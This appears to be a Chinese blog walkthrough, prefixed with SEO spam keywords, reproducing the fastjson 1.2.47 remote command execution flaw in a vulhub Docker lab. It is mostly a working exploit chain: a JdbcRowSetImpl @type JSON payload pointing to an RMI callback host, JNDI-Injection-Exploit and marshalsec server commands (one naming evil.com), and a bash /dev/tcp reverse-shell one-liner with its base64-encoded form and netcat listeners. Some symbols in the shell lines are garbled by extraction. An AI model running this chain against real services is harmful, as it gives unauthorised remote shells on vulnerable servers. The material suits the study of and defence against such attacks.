南京网站开发荐南京乐识,怎么免费建设金融网站,lamp环境做网站,建立网站要钱吗?fastjson 1.2.47 远程命令执行漏洞 文章目录 fastjson 1.2.47 远程命令执行漏洞1 在线漏洞解读:2 环境搭建3 影响版本#xff1a;4 漏洞复现4.1 访问页面4.2 bp抓包#xff0c;修改参数 5 使用插件检测漏洞【FastjsonScan】5.1使用説明5.2 使用方法5.2.1 右键菜单中#xff…fastjson 1.2.47 远程命令执行漏洞 文章目录 fastjson 1.2.47 远程命令执行漏洞1 在线漏洞解读:2 环境搭建3 影响版本4 漏洞复现4.1 访问页面4.2 bp抓包修改参数 5 使用插件检测漏洞【FastjsonScan】5.1使用説明5.2 使用方法5.2.1 右键菜单中5.2.2 FastjsonScan扫描结果界面5.2.3 打开dnslog解析地址获取的地址粘贴到bp的请求参数中看是否请求成功5.2.4 测试使用rmi协议可以通信5.2.5 如不通使用这几种协议尝试, JNDI java的这几种协议LDAP| RMI| CORBA| DNS| NDS| NIS5.2.6 dnslog.cn通了可以请求成功存在漏洞对其进行漏洞利用准备反弹shell先需要构建JNDI服务 6 构建一个JNDI服务器6.1 下载工具JNDI协议服务6.2 执行漏洞核心指令 7 kali进行下载安裝JNDI服务7.1 目录位置7.2执行7.2.1 执行指令7.2.2 启动后提示连接这几种地址协议7.2.3 bp尝试上面的几种地址连接,连接后查看docker容器是否创建文件指令 8 查看docker容器9 构建反弹shell9.1 反弹shell一句话9.2 使用在线工具转义 10 上面指令处理完反弹shell10. 1 开启监听10.2 重新启动 JNDI服务,并将开启shell连接一句话放到 -C “command”中10.3 将扫描到的紫色标记连接地址-替换到下图红框中进行转发10.4 经过多次尝试地址获取连接到shell 1 在线漏洞解读:
https://vulhub.org/#/environments/fastjson/1.2.47-rce/2 环境搭建
cd /home/kali/vulhub/fastjson/1.2.47-rce启动
sudo docker-compose up -dsudo docker-compose ps -a
sudo docker ps -a已启动访问端口8091 3 影响版本
fastjson1.2.48
4 漏洞复现
4.1 访问页面
访问页面http://http://192.168.225.166:8091/,返回json字符串 4.2 bp抓包修改参数 bp进行抓包转发repeater将get请求转成post; 修改请求参数为json, 增加json参数进行传参返回序列化后的参数值. 5 使用插件检测漏洞【FastjsonScan】
https://github.com/Maskhe/FastjsonScan5.1使用説明 下载项目中的FastjsonScan.jar文件 在burp的Extender-Extensions栏点击Add,选择下载好的jar文件就可以了执行环境是Java)
如果成功安装会输出如下信息如果未能成功安装可以换下jdk版本我用的1.8 5.2 使用方法
使用方法也很简单就像使用repeater一样你可以在burp的任何地方选中一个请求右键选择【Send to FastjsonScan】将这个请求发送到Fastjson Scan然后就只需要等待扫描结束
5.2.1 右键菜单中 5.2.2 FastjsonScan扫描结果界面
{axin:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},is:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://c6juk7iuaimlq6w7ap5jkhrmxd33rs.oastify.com/aaa,autoCommit:true}}5.2.3 打开dnslog解析地址获取的地址粘贴到bp的请求参数中看是否请求成功
http://dnslog.cn/ # 获取新的地址 5z5srb.dnslog.cn5.2.4 测试使用rmi协议可以通信 5.2.5 如不通使用这几种协议尝试, JNDI java的这几种协议LDAP| RMI| CORBA| DNS| NDS| NIS
JNDIJava Nameing and Directory InterfaceJava 命令与目录接口是一组应用程序接口目的是为了方便查找远程或本地对象。JNDI 典型的应用场景是配置数据源除此之外JNDI 还可以访问现有的目录和服务例如LDAP| RMI| CORBA| DNS| NDS| NIS5.2.6 dnslog.cn通了可以请求成功存在漏洞对其进行漏洞利用准备反弹shell先需要构建JNDI服务
6 构建一个JNDI服务器
6.1 下载工具JNDI协议服务
https://github.com/welk1n/JNDI-Injection-Exploit.git6.2 执行漏洞核心指令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://evil.com/#TouchFile 9999-----------------------
Run a JNDI reference redirector service pointing to that codebase - two implementations are included: marshalsec.jndi.LDAPRefServer and RMIRefServer.java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer codebase#class [port]Use (ldap|rmi)://host:port/obj as the jndiUrl, pointing to that services listening address.
-----------------------$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]要确保 1099、1389、8180端口可用不被其他程序占用7 kali进行下载安裝JNDI服务
7.1 目录位置
┌──(kalikali)-[~/tools]
└─$ proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git #编译好tar包目录位置准备启动JNDI通信服务
┌──(kalikali)-[~/tools/java-unserialize/JNDI-Injection-Exploit/target]
└─$ pwd
/home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target7.2执行
7.2.1 执行指令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/test -A 192.168.225.1667.2.2 启动后提示连接这几种地址协议
rmi://192.168.225.166:1099/fn3esn
rmi://192.168.225.166:1099/eal10z
ldap://192.168.225.166:1389/eal10z
rmi://192.168.225.166:1099/izbagp
ldap://192.168.225.166:1389/izbagp7.2.3 bp尝试上面的几种地址连接,连接后查看docker容器是否创建文件指令 8 查看docker容器
sudo docker ps -a
sudo docker exec -it 532 /bin/bashbp发送请求后已创建文件 9 构建反弹shell
9.1 反弹shell一句话
nc -lvvp 6666 # 开启监听6666端口服务
----------------------------------
bash -i /dev/tcp/192.168.225.166/6666 01
----------------------------------
bash -i /dev/tcp/192.168.225.166/6666 01 转成base64位YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx
----------------------------------
bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}
--------------
最后组合为
bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------------输入java指令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} -A 192.168.225.166bash -i /dev/tcp/192.168.225.166/6666 01 # 反弹交互指令tcp服务
nc -lvp 6666 # l是监听模式v是显示详细信息p是指定端口9.2 使用在线工具转义
https://ares-x.com/tools/runtime-exec/10 上面指令处理完反弹shell
10. 1 开启监听
nc -lvvp 666610.2 重新启动 JNDI服务,并将开启shell连接一句话放到 -C “command”中
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} -A 192.168.225.16610.3 将扫描到的紫色标记连接地址-替换到下图红框中进行转发
rmi://192.168.225.166:1099/omyj1u
ldap://192.168.225.166:1389/omyj1u
rmi://192.168.225.166:1099/ibhzk7
rmi://192.168.225.166:1099/dwddl1
ldap://192.168.225.166:1389/dwddl110.4 经过多次尝试地址获取连接到shell